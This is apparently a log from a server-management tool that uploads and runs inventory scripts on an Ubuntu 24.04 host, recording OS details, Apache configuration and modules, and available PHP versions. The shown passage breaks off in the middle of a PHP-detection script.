MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-03 15:00:27: Establishing a connection
2025-10-03 15:00:48: Establishing a connection
2025-10-03 15:00:49: Performing Server Status
2025-10-03 15:00:49: 

PUT: /tmp/pkp646377

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-10-03 15:00:49: 

chmod 755 /tmp/pkp646377; /tmp/pkp646377; rm /tmp/pkp646377

2025-10-03 15:00:50: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swap.img                               file		4194300		0		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
rog

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-85-generic



2025-10-03 15:00:50: 

PUT: /tmp/pkp429979

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-10-03 15:00:50: 

chmod 755 /tmp/pkp429979; /tmp/pkp429979; rm /tmp/pkp429979

2025-10-03 15:00:50: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 1310
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root        1310  0.0  0.2 255668 35616 ?        Ss   Oct02   0:03 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_html_module (shared)
 proxy_http_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)
 xml2enc_module (shared)


2025-10-03 15:00:50: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'rog',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.3 LTS',
  'rel' => '24.04.3',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swap.img',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'proxy_module',
      26 => 'proxy_html_module',
      27 => 'proxy_http_module',
      28 => 'proxy_wstunnel_module',
      29 => 'reqtimeout_module',
      30 => 'rewrite_module',
      31 => 'setenvif_module',
      32 => 'socache_shmcb_module',
      33 => 'ssl_module',
      34 => 'status_module',
      35 => 'xml2enc_module',
    ),
  ),
)


2025-10-03 15:00:50: 

PUT: /tmp/pkp680604

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-10-03 15:00:51: 

chmod 755 /tmp/pkp680604; /tmp/pkp680604; rm /tmp/pkp680604

2025-10-03 15:00:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2025-10-03 15:00:51: 

PUT: /tmp/pkp533129

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
